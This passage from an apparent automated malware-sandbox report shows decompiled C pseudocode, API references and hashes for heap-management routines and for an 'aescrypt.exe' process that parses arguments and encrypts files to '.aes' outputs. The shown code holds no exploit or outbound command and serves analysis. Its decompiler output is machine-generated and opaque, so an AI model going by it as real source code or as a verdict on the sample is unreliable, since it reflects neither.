						 *(_t90 + 0xc) = _t78;
						L23:
						_t87 = 0;
						 *(_t88 + 0xc) =  *(_t88 + 0xc) +  *(_t90 + 0xc);
						 *((intOrPtr*)(_t90 + 0x10)) = _t81;
						 *((intOrPtr*)(_t90 + 0x14)) = 0;
						 *((intOrPtr*)(_t90 + 8)) = 0;
						if( *(_t90 + 0xc) <= _t81) {
							 *_t90 =  *_t88;
							 *((intOrPtr*)(_t90 + 4)) = 0;
							 *_t88 = _t90;
						} else {
							 *_t90 =  *((intOrPtr*)(_t88 + 4));
							 *((intOrPtr*)(_t90 + 4)) = 0;
							 *((intOrPtr*)(_t88 + 4)) = _t90;
						}
						_t62 =  *_t90;
						if(_t62 != 0) {
							 *((intOrPtr*)(_t62 + 4)) = _t90;
						}
						_t46 = _t90 + 0x18; // 0x18
						_t91 = _t46;
						L30:
						goto L31;
					}
				} else {
					_t83 =  *((intOrPtr*)(_t89 + 0x14));
					if(_t83 <= 0) {
						_t84 =  *(_t89 + 0x10);
						_t91 = _t89 + 0x18 +  *(_t88 + 0x10) * _t84;
						_t13 = _t84 + 1; // 0x1
						 *(_t89 + 0x10) = _t13;
					} else {
						_t91 =  *((intOrPtr*)(_t89 + 8));
						 *((intOrPtr*)(_t89 + 8)) =  *_t91;
						_t8 = _t83 - 1; // -1
						 *((intOrPtr*)(_t89 + 0x14)) = _t8;
					}
					if( *((intOrPtr*)(_t89 + 0x14)) == _t87 &&  *(_t89 + 0x10) >=  *((intOrPtr*)(_t89 + 0xc))) {
						_t85 =  *_t89;
						if(_t85 != 0) {
							 *(_t85 + 4) =  *(_t89 + 4);
						}
						_t68 =  *_t89;
						if(_t89 !=  *((intOrPtr*)(_t88 + 4))) {
							 *( *(_t89 + 4)) = _t68;
						} else {
							 *((intOrPtr*)(_t88 + 4)) = _t68;
						}
						 *_t89 =  *_t88;
						 *(_t89 + 4) = _t87;
						 *_t88 = _t89;
						_t70 =  *_t89;
						if(_t70 != 0) {
							 *((intOrPtr*)(_t70 + 4)) = _t89;
						}
					}
					L31:
					if( *((intOrPtr*)(_t88 + 0x1c)) != _t87) {
						LeaveCriticalSection(_t88 + 0x20);
					}
					if(_t91 == 0) {
						return 0;
					} else {
						 *_t91 = _t90;
						_t49 =  &_a4; // 0x4
						return _t49;
					}
				}
			}

0x0040d522
0x0040d526
0x0040d528
0x0040d52d
0x0040d533
0x0040d539
0x0040d539
0x0040d53b
0x0040d540
0x0040d5c2
0x0040d5c8
0x0040d5d2
0x0040d5d4
0x0040d5d4
0x0040d5ca
0x0040d5ca
0x0040d5ca
0x0040d5f0
0x0040d5f2
0x0040d5f5
0x0040d611
0x0040d615
0x0040d657
0x00000000
0x0040d657
0x0040d619
0x0040d61a
0x00000000
0x0040d5f7
0x0040d5f7
0x0040d61d
0x0040d620
0x0040d622
0x0040d625
0x0040d628
0x0040d62b
0x0040d631
0x0040d642
0x0040d644
0x0040d647
0x0040d633
0x0040d636
0x0040d638
0x0040d63b
0x0040d63b
0x0040d649
0x0040d64d
0x0040d64f
0x0040d64f
0x0040d652
0x0040d652
0x0040d659
0x00000000
0x0040d659
0x0040d542
0x0040d542
0x0040d547
0x0040d55a
0x0040d566
0x0040d568
0x0040d56b
0x0040d549
0x0040d549
0x0040d54f
0x0040d552
0x0040d555
0x0040d555
0x0040d571
0x0040d583
0x0040d587
0x0040d58c
0x0040d58c
0x0040d58f
0x0040d594
0x0040d59e
0x0040d596
0x0040d596
0x0040d596
0x0040d5a2
0x0040d5a4
0x0040d5a7
0x0040d5a9
0x0040d5ad
0x0040d5b3
0x0040d5b3
0x0040d5ad
0x0040d65a
0x0040d65d
0x0040d663
0x0040d663
0x0040d66b
0x00000000
0x0040d66d
0x0040d66d
0x0040d670
0x00000000
0x0040d670
0x0040d66b

APIs

EnterCriticalSection.KERNEL32(?,?,?,00000000,0040A044,00000000,00000001,?,?,?,00000000,00409E6C,?,?,00000000,?), ref: 0040D533
HeapAlloc.KERNEL32(00000000,-00000018,00000001,?,?,00000000,0040A044,00000000,00000001,?,?,?,00000000,00409E6C,?,?), ref: 0040D5E8
HeapAlloc.KERNEL32(00000000,-00000018,?,?,00000000,0040A044,00000000,00000001,?,?,?,00000000,00409E6C,?,?,00000000), ref: 0040D60B
LeaveCriticalSection.KERNEL32(?,?,00000000,0040A044,00000000,00000001,?,?,?,00000000,00409E6C,?,?,00000000,?,?), ref: 0040D663

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 0f8299d0d3399f2ca5afc87431ff6ccb2b075c5558c85bef442be39d80f1af25
Instruction ID: c75203acf5dbc6b13cd53f4330a4279d02754d6c9a51f963ab4d277c9f4d2c3e
Opcode Fuzzy Hash: 0f8299d0d3399f2ca5afc87431ff6ccb2b075c5558c85bef442be39d80f1af25
Instruction Fuzzy Hash: 67510570900B02AFC324CF69D980922B7F4FF587147108A3EE8AA97A94D335F959CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040E0D0, Relevance: 5.1, APIs: 4, Instructions: 62
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E0D0(void* __ecx, void** _a4, wchar_t* _a8) {
				int _v8;
				void* _t40;
				void* _t43;
				void* _t45;

				_v8 = 0;
				if(_a8 == 0) {
					if( *_a4 != 0) {
						_t40 =  *0x417720; // 0x630000
						HeapFree(_t40, 0,  *_a4);
						 *_a4 = 0;
					}
				} else {
					_v8 = wcslen(_a8);
					if( *_a4 != 0) {
						_t12 = _v8 + 0xa; // 0xa
						_t43 =  *0x417720; // 0x630000
						 *_a4 = HeapReAlloc(_t43, 0,  *_a4, _v8 + _t12);
					} else {
						_t8 = _v8 + 0xa; // 0xa
						_t45 =  *0x417720; // 0x630000
						 *_a4 = HeapAlloc(_t45, 0, _v8 + _t8);
					}
					E0040E300(_a8,  *_a4, _a8, _v8);
				}
				return _v8 + _v8 + 2;
			}

0x0040e0d4
0x0040e0df
0x0040e153
0x0040e15d
0x0040e164
0x0040e16d
0x0040e16d
0x0040e0e1
0x0040e0ed
0x0040e0f6
0x0040e119
0x0040e126
0x0040e136
0x0040e0f8
0x0040e0fb
0x0040e102
0x0040e112
0x0040e112
0x0040e146
0x0040e146
0x0040e17d

APIs

wcslen.MSVCRT ref: 0040E0E5
HeapAlloc.KERNEL32(00630000,00000000,0000000A), ref: 0040E109
HeapReAlloc.KERNEL32(00630000,00000000,00000000,0000000A), ref: 0040E12D
HeapFree.KERNEL32(00630000,00000000,00000000,?,?,0040506F,?,0041602A,00401095,00000000), ref: 0040E164

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Alloc$Freewcslen
String ID:
API String ID: 2479713791-0
Opcode ID: f5b77000bbf8e4bbffd1e92e25ea49c26a95bf6dea2a94c690576bfd34a48491
Instruction ID: 5c25edb19946727406606906c76980e1d10e687976c030b77a126e3da493f9c6
Opcode Fuzzy Hash: f5b77000bbf8e4bbffd1e92e25ea49c26a95bf6dea2a94c690576bfd34a48491
Instruction Fuzzy Hash: BD212774604209EFDB04CF94D884FAAB7BAFB48354F108569F9099F390D735EA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040D438, Relevance: 5.1, APIs: 4, Instructions: 56
memoryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040D438(long* _a4, signed int _a8) {
				long _t24;
				signed int _t27;
				struct _CRITICAL_SECTION* _t34;
				signed int _t38;
				long* _t39;
				intOrPtr _t40;

				_t39 = _a4;
				_t2 =  &(_t39[8]); // 0x20
				_t34 = _t2;
				EnterCriticalSection(_t34);
				_t38 = _a8;
				if(_t38 != 0xffffffff) {
					if(_t38 >= _t39[2]) {
						_t27 = _t39[1] + _t38;
						_t39[2] = _t27;
						_t39[3] = HeapReAlloc( *0x417008, 8, _t39[3], _t27 << 2);
					}
					if( *((intOrPtr*)(_t39[3] + _t38 * 4)) == 0) {
						 *((intOrPtr*)(_t39[3] + _t38 * 4)) = HeapAlloc( *0x417008, 8,  *_t39);
					} else {
						_t24 = _t39[5];
						if(_t24 != 0) {
							 *_t24(_t38);
						}
					}
					_t40 =  *((intOrPtr*)(_t39[3] + _t38 * 4));
				} else {
					_t4 =  &(_t39[4]); // 0x10
					_t40 = E0040DB12(_t4,  *_t39 + 8);
				}
				LeaveCriticalSection(_t34);
				return _t40;
			}

0x0040d43a
0x0040d43f
0x0040d43f
0x0040d443
0x0040d449
0x0040d450
0x0040d46a
0x0040d46f
0x0040d471
0x0040d489
0x0040d489
0x0040d493
0x0040d4b4
0x0040d495
0x0040d495
0x0040d49a
0x0040d49d
0x0040d49d
0x0040d49a
0x0040d4ba
0x0040d452
0x0040d458
0x0040d463
0x0040d463
0x0040d4be
0x0040d4c9

APIs

EnterCriticalSection.KERNEL32(00000020,00000000,?,00000000,0040AD75,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000), ref: 0040D443
HeapReAlloc.KERNEL32(00000008,?,?,?,00000000,0040AD75,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?), ref: 0040D483
LeaveCriticalSection.KERNEL32(00000020,?,00000000,0040AD75,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0040D4BE

Part of subcall function 0040DB12: HeapAlloc.KERNEL32(00000008,00000000,0040D38C,00417608,00000014,?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000), ref: 0040DB1E

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: be2f1553c835898b8f41ca660172eefbe6af4dd5fd6a89ea98a49a40f9a2ae85
Instruction ID: a304a92e3806a45bcf6d327fe86cdfb5e6d5534298f9acb62e815e22c79c963c
Opcode Fuzzy Hash: be2f1553c835898b8f41ca660172eefbe6af4dd5fd6a89ea98a49a40f9a2ae85
Instruction Fuzzy Hash: 30112B32604700AFC3208FA8EC40D56B7FAFF58765B15892AE996E36A0C734F804CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040D67D, Relevance: 5.0, APIs: 4, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D67D(void** _a4) {
				void* _t9;
				void* _t10;
				struct _CRITICAL_SECTION* _t11;
				void** _t15;
				void* _t16;
				void* _t17;

				_t15 = _a4;
				if(_t15[7] != 0) {
					_t3 =  &(_t15[8]); // 0x20
					EnterCriticalSection(_t3);
				}
				_t9 = _t15[1];
				if(_t9 != 0) {
					do {
						_t17 =  *_t9;
						HeapFree( *0x417008, 0, _t9);
						_t9 = _t17;
					} while (_t17 != 0);
				}
				_t10 =  *_t15;
				if(_t10 != 0) {
					do {
						_t16 =  *_t10;
						HeapFree( *0x417008, 0, _t10);
						_t10 = _t16;
					} while (_t16 != 0);
				}
				 *_t15 = 0;
				_t15[1] = 0;
				_t15[3] = 0;
				if(_t15[7] != 0) {
					_t8 =  &(_t15[8]); // 0x20
					_t11 = _t8;
					LeaveCriticalSection(_t11);
					return _t11;
				}
				return _t10;
			}

0x0040d680
0x0040d689
0x0040d68b
0x0040d68f
0x0040d68f
0x0040d695
0x0040d69a
0x0040d69c
0x0040d69c
0x0040d6a6
0x0040d6ac
0x0040d6ae
0x0040d69c
0x0040d6b2
0x0040d6b6
0x0040d6b8
0x0040d6b8
0x0040d6c2
0x0040d6c8
0x0040d6ca
0x0040d6b8
0x0040d6ce
0x0040d6d0
0x0040d6d3
0x0040d6d9
0x0040d6db
0x0040d6db
0x0040d6df
0x00000000
0x0040d6df
0x0040d6e8

APIs

EnterCriticalSection.KERNEL32(00000020,?,00000000,00000200,0040D95E,00000000,00000000,?,00409E88,?,00000000,00000200,?,?,00409D8F,00000200), ref: 0040D68F
HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040D95E,00000000,00000000,?,00409E88,?,00000000,00000200,?,?,00409D8F), ref: 0040D6A6
HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040D95E,00000000,00000000,?,00409E88,?,00000000,00000200,?,?,00409D8F), ref: 0040D6C2
LeaveCriticalSection.KERNEL32(00000020,?,00000000,00000200,0040D95E,00000000,00000000,?,00409E88,?,00000000,00000200,?,?,00409D8F,00000200), ref: 0040D6DF

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalFreeHeapSection$EnterLeave
String ID:
API String ID: 1298188129-0
Opcode ID: 53ceed24bb8d2d46dd7a9e67fb8799a8add0012f463c06b4e215cdce4978a367
Instruction ID: ccb09d183470463af25dc63fc94d1cebb037c249e32c06969674a21ae1653042
Opcode Fuzzy Hash: 53ceed24bb8d2d46dd7a9e67fb8799a8add0012f463c06b4e215cdce4978a367
Instruction Fuzzy Hash: BF017C75A0261AEFC7108F95E904967BBBCFF08750301843AE80897654C731E864CFE8

Uniqueness

Uniqueness Score: -1.00%

Function 00409E6F, Relevance: 5.0, APIs: 4, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00409E6F(void* _a4) {
				void* __ebp;
				void* _t7;
				void* _t12;
				void* _t19;
				void* _t20;
				void* _t22;
				void* _t24;

				_t20 = _a4;
				_t27 = _t20;
				if(_t20 != 0) {
					_push(_t24);
					E0040A0BA(_t19, _t27, _t20);
					E0040D8E6(_t24,  *((intOrPtr*)(_t20 + 0x38)));
					HeapFree( *0x417008, 0,  *(_t20 + 4));
					HeapFree( *0x417008, 0,  *(_t20 + 0xc));
					_t12 =  *(_t20 + 0x34);
					if(_t12 == 0) {
						L5:
						 *((intOrPtr*)( *((intOrPtr*)(_t20 + 0x30)))) = 0;
						return HeapFree( *0x417008, 0, _t20);
					}
					do {
						_t22 =  *_t12;
						HeapFree( *0x417008, 0, _t12);
						_t12 = _t22;
					} while (_t22 != 0);
					goto L5;
				}
				return _t7;
			}

0x00409e70
0x00409e74
0x00409e76
0x00409e79
0x00409e7b
0x00409e83
0x00409e9a
0x00409ea6
0x00409ea8
0x00409ead
0x00409ec3
0x00409ec8
0x00000000
0x00409ed3
0x00409eb0
0x00409eb0
0x00409eba
0x00409ebc
0x00409ebe
0x00000000
0x00409ec2
0x00409ed5

APIs

Part of subcall function 0040A0BA: memset.MSVCRT ref: 0040A122

Part of subcall function 0040D8E6: EnterCriticalSection.KERNEL32(0041761C,00000200,00000000,?,00409E88,?,00000000,00000200,?,?,00409D8F,00000200,?,?,?,004010C3), ref: 0040D8FA
Part of subcall function 0040D8E6: HeapFree.KERNEL32(00000000,?,?,00409E88,?,00000000,00000200,?,?,00409D8F,00000200,?,?,?,004010C3,00000004), ref: 0040D948
Part of subcall function 0040D8E6: LeaveCriticalSection.KERNEL32(0041761C,?,00409E88,?,00000000,00000200,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040D94F

HeapFree.KERNEL32(00000000,?,?,00000000,00000200,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000), ref: 00409E9A
HeapFree.KERNEL32(00000000,?,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409EA6
HeapFree.KERNEL32(00000000,?,?,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 00409EBA
HeapFree.KERNEL32(00000000,00000000,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409ED0

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$CriticalSection$EnterLeavememset
String ID:
API String ID: 4254243056-0
Opcode ID: 2e2b091367acf3d98793c74670de9e011cac5a97bd1a707a8857b69d5b2dd878
Instruction ID: bfb960cb52ae9f1737c5edf5dab89cb24d0a80b98fb865d44a1203debf2c4dae
Opcode Fuzzy Hash: 2e2b091367acf3d98793c74670de9e011cac5a97bd1a707a8857b69d5b2dd878
Instruction Fuzzy Hash: 40F0FF31205609BFC6126F5AED40D57BF7DFF5A7983464136B404626B0C732EC619AA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: aescrypt.exe PID: 7004 Parent PID: 6680 aescrypt.exeCOMMON

Executed Functions

Function 008753B0, Relevance: 65.3, APIs: 19, Strings: 18, Instructions: 542
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E008753B0(void* __eflags, signed int _a4, signed int* _a8, intOrPtr _a12, char _a16, short _a2062, char _a2064, signed int _a4124) {
				signed int* _v0;
				signed int _v4;
				void* __ebx;
				void* __edi;
				signed int __esi;
				void* __ebp;
				signed int _t92;
				signed int _t96;
				signed int _t101;
				signed int _t102;
				signed int _t110;
				signed int* _t114;
				void* _t115;
				void* _t116;
				signed int _t118;
				signed int _t124;
				signed int _t125;
				signed int _t131;
				void* _t135;
				void* _t140;
				signed int _t143;
				void* _t153;
				signed int _t161;
				signed int _t166;
				signed int _t168;
				signed int _t174;
				void* _t184;
				signed int _t186;
				void* _t197;
				signed int _t198;
				void* _t199;
				void* _t200;
				void* _t201;
				intOrPtr _t205;
				signed int _t213;
				signed int _t216;
				signed int _t217;
				signed int _t219;
				signed int _t223;
				void* _t234;
				void* _t239;
				void* _t241;
				void* _t242;
				signed int _t247;
				void* _t248;
				void* _t249;
				void* _t250;
				void* _t251;
				signed int _t255;
				void* _t256;
				void* _t258;
				void* _t260;
				void* _t262;
				signed int _t265;
				signed int _t266;
				void* _t268;
				signed int _t271;

				_t266 = _t265 & 0xfffffff8;
				E008812D0(0x1024);
				_t92 =  *0x888288; // 0x8987487c
				_a4124 = _t92 ^ _t266;
				_t196 = _a4;
				_t255 = 0;
				_v0 = _a8;
				_v4 = 0;
				_a8 = 0;
				_a16 = 0;
				_t247 = E00875B10(_a4, _a8);
				if(_t247 == 0xffffffff) {
					L20:
					_t96 =  *0x888fa4; // 0x5
					if(_t96 < _a4) {
						_t203 = _a8;
						__eflags = _a8;
						if(__eflags != 0) {
							__eflags = _v4;
							if(_v4 != 0) {
								L47:
								_t235 = _a4;
								_t205 = _t235 - _t96;
								_a12 = _t205;
								__eflags = _t205 - 1;
								if(_t205 <= 1) {
									L54:
									__eflags = _t96 - _t235;
									if(_t96 >= _t235) {
										L82:
										E008733B0(_v4,  &_a2064);
										_pop(_t248);
										_pop(_t256);
										_pop(_t197);
										__eflags = _a4124 ^ _t266;
										return E00878AD6(_t247, _t197, _a4124 ^ _t266,  &_a2064, _t248, _t256);
									} else {
										do {
											_t198 = _v0[_t96];
											 *0x888fa4 = _t96 + 1;
											_t101 = E00879AFC("-", _t198, 2);
											_t266 = _t266 + 0xc;
											__eflags = _t101;
											if(_t101 != 0) {
												_t102 = E00879248(_t198, L"rb"); // executed
												_t266 = _t266 + 8;
												_a4 = _t102;
												__eflags = _t102;
												if(_t102 == 0) {
													__eflags = _t255 - E00878DA3() + 0x20;
													if(__eflags != 0) {
														__eflags = _t255;
														if(__eflags != 0) {
															_push(_t255);
															E00879BA2(_t198, _t235, _t247, _t255, __eflags);
															_t266 = _t266 + 4;
														}
													}
													_push(_t198);
													_push(L"Error opening input file %s : ");
													goto L93;
												} else {
													goto L61;
												}
											} else {
												_t143 = E00878DA3();
												__eflags = _a12 - 1;
												if(_a12 > 1) {
													__eflags = _t255 - _t143 + 0x20;
													if(__eflags != 0) {
														__eflags = _t255;
														if(__eflags != 0) {
															_push(_t255);
															E00879BA2(_t198, _t235, _t247, _t255, __eflags);
															_t266 = _t266 + 4;
														}
													}
													_push("Error: STDIN may not be specified with multiple input files.\n");
													_push(E00878DA3() + 0x40);
													E008795EB(_t198, _t247, _t255, __eflags);
													_t239 =  *_v0;
													goto L52;
												} else {
													_push(0x8000);
													_a4 = _t143;
													_push(E00879732(E00878DA3()));
													E00879A11(_t198, _t247, _t255, __eflags);
													_t266 = _t266 + 0xc;
													__eflags = _t255;
													if(_t255 == 0) {
														_t153 = E00878DA3();
														_push(0x8000);
														_t61 = _t153 + 0x20; // 0x20
														_t255 = _t61;
														_push(E00879732(E00878DA3() + 0x20));
														E00879A11(_t198, _t247, _t255, __eflags);
														_t266 = _t266 + 0xc;
													}
													L61:
													_t114 = _a8;
													__eflags = _t114 - 2;
													if(_t114 != 2) {
														__eflags = _t114 - 1;
														if(_t114 != 1) {
															goto L74;
														} else {
															__eflags = _t255;
															if(_t255 != 0) {
																L72:
																_t235 = _a4;
																_t124 = E008743C0( &_a2064, _a4, _t255, _v4);
																goto L73;
															} else {
																_t125 = _t198;
																_t241 = _t125 + 2;
																do {
																	_t216 =  *_t125;
																	_t125 = _t125 + 2;
																	__eflags = _t216;
																} while (_t216 != 0);
																__eflags = (_t125 - _t241 >> 1) + 0xfffffffc;
																E00878F58( &_a16, _t198, (_t125 - _t241 >> 1) + 0xfffffffc);
																_t131 = _t198;
																_t268 = _t266 + 0xc;
																_t242 = _t131 + 2;
																do {
																	_t217 =  *_t131;
																	_t131 = _t131 + 2;
																	__eflags = _t217;
																} while (_t217 != 0);
																_t235 =  &_a16;
																 *((short*)(_t268 + 0x20 + (_t131 - _t242 >> 1) * 2)) = 0;
																_t255 = E00879248( &_a16, L"wb");
																_t266 = _t268 + 8;
																__eflags = _t255;
																if(_t255 == 0) {
																	_t135 = E00878DA3();
																	_t219 = _a4;
																	__eflags = _t219 - _t135;
																	if(__eflags != 0) {
																		__eflags = _t219;
																		if(__eflags != 0) {
																			_push(_t219);
																			E00879BA2(_t198,  &_a16, _t247, _t255, __eflags);
																			_t266 = _t266 + 4;
																		}
																	}
																	_push( &_a16);
																	_push(L"Error opening output file %s : ");
																	goto L93;
																} else {
																	goto L72;
																}
															}
														}
													} else {
														__eflags = _t255;
														if(_t255 != 0) {
															L64:
															_t235 =  &_a2064;
															_t124 = E008733E0(_t255,  &_a2064, _a4, _v4);
															L73:
															_t247 = _t124;
															_t266 = _t266 + 8;
															L74:
															_t115 = E00878DA3();
															_t213 = _a4;
															__eflags = _t213 - _t115;
															if(_t213 != _t115) {
																__eflags = _t213;
																if(__eflags != 0) {
																	_push(_t213);
																	E00879BA2(_t198, _t235, _t247, _t255, __eflags);
																	_t266 = _t266 + 4;
																}
															}
															_t116 = E00878DA3();
															__eflags = _t255 - _t116 + 0x20;
															if(_t255 == _t116 + 0x20) {
																L80:
																__eflags = _t247;
																if(_t247 != 0) {
																	goto L53;
																} else {
																	goto L81;
																}
															} else {
																__eflags = _t255;
																if(__eflags == 0) {
																	goto L80;
																} else {
																	_push(_t255);
																	_t118 = E00879BA2(_t198, _t235, _t247, _t255, __eflags);
																	_t266 = _t266 + 4;
																	__eflags = _t118;
																	if(_t118 != 0) {
																		__eflags = _t247;
																		if(__eflags == 0) {
																			_push("Error: Could not properly close output file \n");
																			_push(E00878DA3() + 0x40);
																			E008795EB(_t198, _t247, _t255, __eflags);
																			_t266 = _t266 + 8;
																		}
																		goto L53;
																	} else {
																		goto L80;
																	}
																}
															}
														} else {
															_t235 =  &_a16;
															E00878CD3( &_a16, 0x400, L"%s.aes", _t198);
															_t255 = E00879248( &_a16, L"wb");
															_t266 = _t266 + 0x18;
															__eflags = _t255;
															if(_t255 == 0) {
																_t140 = E00878DA3();
																_t223 = _a4;
																__eflags = _t223 - _t140;
																if(__eflags != 0) {
																	__eflags = _t223;
																	if(__eflags != 0) {
																		_push(_t223);
																		E00879BA2(_t198,  &_a16, _t247, _t255, __eflags);
																		_t266 = _t266 + 4;
																	}
																}
																_push( &_a16);
																_push(L"Error opening output file %s : ");
																L93:
																_push(E00878DA3() + 0x40); // executed
																E00878C47(_t198, _t235, _t247, _t255, __eflags); // executed
																_push(0x8867e8); // executed
																E00878BB9(_t198, _t235, _t247, _t255, __eflags); // executed
																_t266 = _t266 + 0x10;
																goto L53;
															} else {
																goto L64;
															}
														}
													}
												}
											}
											goto L102;
											L81:
											_t96 =  *0x888fa4; // 0x5
											_t255 = 0;
											_a16 = 0;
											__eflags = _t96 - _a4;
										} while (_t96 < _a4);
										goto L82;
									}
								} else {
									__eflags = _t255;
									if(_t255 == 0) {
										goto L54;
									} else {
										__eflags = _t255 - E00878DA3() + 0x20;
										if(__eflags != 0) {
											_push(_t255);
											E00879BA2(_t196, _t235, _t247, _t255, __eflags);
											_t266 = _t266 + 4;
										}
										_push("Error: A single output file may not be specified with multiple input files.\n");
										_t161 = E00878DA3() + 0x40;
										__eflags = _t161;
										_push(_t161);
										E008795EB(_t196, _t247, _t255, _t161);
										_t239 =  *_v0;
										L52:
										_t266 = _t266 + 8;
										E008752A0(_t239);
										L53:
										E00875360( &_a16);
										_t110 = E008733B0(_v4,  &_a2064);
										_pop(_t249);
										_pop(_t258);
										_pop(_t199);
										__eflags = _a4124 ^ _t266;
										return E00878AD6(_t110 | 0xffffffff, _t199, _a4124 ^ _t266,  &_a2064, _t249, _t258);
									}
								}
							} else {
								_t196 = E00875C70( &_a2064, _t203);
								_t42 = _t196 + 7; // 0x7
								_t166 = _t42;
								_t266 = _t266 + 4;
								_v4 = _t196;
								__eflags = _t166 - 7;
								if(__eflags > 0) {
									L44:
									__eflags = _t196;
									if(_t196 >= 0) {
										_t96 =  *0x888fa4; // 0x5
										goto L47;
									} else {
										E00875360( &_a16);
										_t168 = E008733B0(_t196,  &_a2064);
										_pop(_t250);
										_pop(_t260);
										_pop(_t200);
										__eflags = _a4124 ^ _t266;
										return E00878AD6(_t168 | 0xffffffff, _t200, _a4124 ^ _t266,  &_a2064, _t250, _t260);
									}
								} else {
									switch( *((intOrPtr*)(_t166 * 4 +  &M00875AE4))) {
										case 0:
											_push("Error: Passwords don\'t match.\n");
											goto L35;
										case 1:
											__eflags = __ebx - 0xfffffffb;
											if(__eflags != 0) {
												__eflags = __ebx - 0xfffffffa;
												if(__eflags != 0) {
													__eax = L"passwords don\'t match";
													__eflags = __ebx - 0xfffffff9;
													if(__eflags != 0) {
														__eax = L"No valid error code specified!!!";
													}
												} else {
													__eax = L"password too long";
												}
											} else {
												__eax = L"user aborted";
											}
											_push(__eax);
											_push(L"Error in read_password: %s.\n");
											__eax = E00878DA3();
											_push(__eax);
											__eax = E00878C47(__ebx, __edx, __edi, __esi, __eflags);
											__esp = __esp + 0xc;
											goto L23;
										case 2:
											goto L44;
										case 3:
											_push("Error: No password supplied.\n");
											L35:
											_push(E00878DA3() + 0x40);
											E008795EB(_t196, _t247, _t255, __eflags);
											_t271 = _t266 + 8;
											goto L23;
									}
								}
							}
						} else {
							_push("Error: -e or -d not specified\n");
							_push(E00878DA3() + 0x40);
							E008795EB(_t196, _t247, _t255, __eflags);
							_t234 =  *_v0;
							goto L22;
						}
					} else {
						_push("Error: No file argument specified\n");
						_push(E00878DA3() + 0x40);
						E008795EB(_t196, _t247, _t255, E00878DA3() + 0x40);
						_t234 =  *_v0;
						L22:
						_t271 = _t266 + 8;
						E008752A0(_t234);
						L23:
						_t174 = E00875360( &_a16);
						_pop(_t251);
						_pop(_t262);
						_pop(_t201);
